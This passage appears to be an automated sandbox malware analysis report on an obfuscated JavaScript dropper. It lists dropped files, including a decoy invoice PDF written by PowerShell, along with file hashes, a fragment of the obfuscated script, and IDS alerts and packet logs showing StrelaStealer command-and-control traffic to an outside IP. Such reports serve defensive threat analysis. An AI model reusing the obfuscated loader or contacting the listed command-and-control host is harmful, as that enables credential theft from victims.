Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\6f282b23-602e-44ad-b5ab-1ca4b04682f3.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 647360
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xLtwYIGNPzWL07o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07tGZd:JJwZG5WLxB3mlind9i4ufFXpAXkrfUsb
MD5:	D38CB76360DDA78820460E5C5F20061C
SHA1:	F2B65831130B70F2A3DC345F70C4BEEDE9AB40E8
SHA-256:	55E70B5D5F8BE28D648BCDFE7DEB02BF4BBE2F626D620D4D838E0FA4FBF45F8E
SHA-512:	5E31738169A6FE92062B0E582489DEEAC2FA1798965DED94EFA994965470A15B5095851701E4DF631C5EC4454913272F1156EC46B32DA782D3C0F9E490C129A1
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\8bc45e5a-ae50-433a-9caa-6aa34cc6e6e9.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\bade7d81-731f-4da5-97df-75f273457264.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLaGZDwYIGNPJodpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLaGZDwZGk3mlind9i4ufFXpAXkru
MD5:	18E3D04537AF72FDBEB3760B2D10C80E
SHA1:	B313CD0B25E41E5CF0DFB83B33AB3E3C7678D5CC
SHA-256:	BBEF113A2057EE7EAC911DC960D36D4A62C262DAE5B1379257908228243BD6F4
SHA-512:	2A5B9B0A5DC98151AD2346055DF2F7BFDE62F6069A4A6A9AB3377B644D61AE31609B9FC73BEE4A0E929F84BF30DA4C1CDE628915AC37C7542FD170D12DE41298
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (17486), with CRLF line terminators
Entropy (8bit):	4.8951814049087075
TrID:
File name:	1907125702104121563.js
File size:	20'964 bytes
MD5:	7eab8093c668f0f542880f77603c53d4
SHA1:	4edacc54f30fab41007b59897d00c522198caf77
SHA256:	92ee206e64a73bdce136095fec0ac14fe8cf40ac01a82a0b4cf460bbf5d7f1b4
SHA512:	26e31f9cfb436e0d16174189d73cb57a9db288b89d4c9218a9776f7aa169710772f797a796c11169b7d074ce2f3d4047ff462306d5a6265357ecfe12b1894ad1
SSDEEP:	384:loTLBEDcjZcw3dbp47dbp4Vdc97SkmNFP6IGxTgRC:2TLscjZcw3dbp47dbp4Lq/TgRC
TLSH:	0C925346CC8110AFC9D0417DA71601E25B7842CCDD58119B837724ECBB999BABAFB5F8
File Content Preview:	function rbxqt(){ohhywc=[1031,3079,5127,4103,2055,3072];var hwtvsxsy=this[yelboyq+zwqooeoc+xtbacweva+tdrsxi+pprwbqfd+onwvky+ptocw+hggciublb](this[zejyml+guypkn+pjxoa+xtbacweva+ckkpjl+yelboyq+hggciublb][mtrzdez+xtbacweva+pprwbqfd+zwqooeoc+hggciublb+pprwbqf

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T02:13:00.329235+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.9	49758	193.143.1.205	80	TCP
2025-01-11T02:13:00.329235+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.9	49758	193.143.1.205	80	TCP
2025-01-11T02:13:03.467571+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.9	49778	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 02:12:59.531953096 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:12:59.536824942 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:12:59.540683031 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:12:59.543716908 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:12:59.548516035 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.329011917 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.329171896 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.329185009 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.329197884 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.329207897 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.329226971 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.329235077 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.329284906 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.329308987 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.329322100 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.329333067 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.329344988 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.329356909 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.329381943 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.334151983 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.334167004 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.334207058 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.371856928 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.371881962 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.371937037 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.451050997 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.451086998 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.451100111 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.451155901 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.451180935 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.451193094 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.451220989 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.451443911 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.451457024 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.451484919 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.451694965 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.451736927 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.451751947 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.451764107 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.451812983 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.451884985 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.451896906 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.451941967 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.452630997 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.452671051 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.452685118 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.452711105 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.452805042 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.452816963 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.452843904 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.453564882 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.453588009 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.453600883 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.453612089 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.453639984 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.453706026 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.498800039 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.504343987 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.504358053 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.504369974 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.504414082 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.541460037 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.541503906 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.541532040 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.571526051 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.571541071 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.571554899 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.571584940 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.571602106 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.571614981 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.571628094 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.571702003 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.571861982 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.571876049 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.571887970 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.571921110 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.572072029 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.572123051 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.572143078 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.572154999 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.572195053 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.572252989 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.572556973 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.572624922 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.572633028 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.572643995 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.572701931 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.572782040 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.572793961 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.572799921 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.572812080 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.572839975 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.572879076 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.573477983 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.573509932 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.573520899 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.573560953 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.573636055 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.573647976 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.573659897 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.573693991 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.573725939 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.573738098 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.574392080 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.574436903 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.574445963 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.574459076 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.574503899 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.574611902 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.574625015 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.574636936 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.574650049 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.574659109 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.574702978 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.575319052 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.575376987 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.575388908 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.575434923 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.575460911 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.575473070 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.575484991 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.575505972 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.575546026 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.575557947 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.594703913 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.594748974 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.594760895 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.594795942 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.594830990 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.613665104 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.613703966 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.613776922 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.632045031 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.632066011 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.632077932 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.632164955 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.632184029 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.632194996 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.632206917 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.632229090 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.632251024 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.662158966 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.662177086 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.662252903 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.692209005 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.692224026 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.692261934 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.692272902 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.692284107 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.692301989 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.692333937 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.692399025 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.692409992 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.692437887 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.692856073 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.692941904 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.692953110 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.693042994 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.693042994 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.693065882 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.693115950 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.693126917 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.693159103 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.693223953 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.693263054 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.693540096 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.693589926 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.693602085 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.693629026 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.693797112 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.693813086 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.693823099 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.693835020 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.693845034 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.693871975 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.694463968 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.694504976 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.694519043 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.694530010 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.694572926 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.694611073 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.694622040 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.694632053 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.694664001 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.694716930 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.694756985 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.695374966 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.695417881 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.695427895 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.695460081 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.695518970 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.695530891 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.695558071 CET	49758	80	192.168.2.9	193.143.1.205
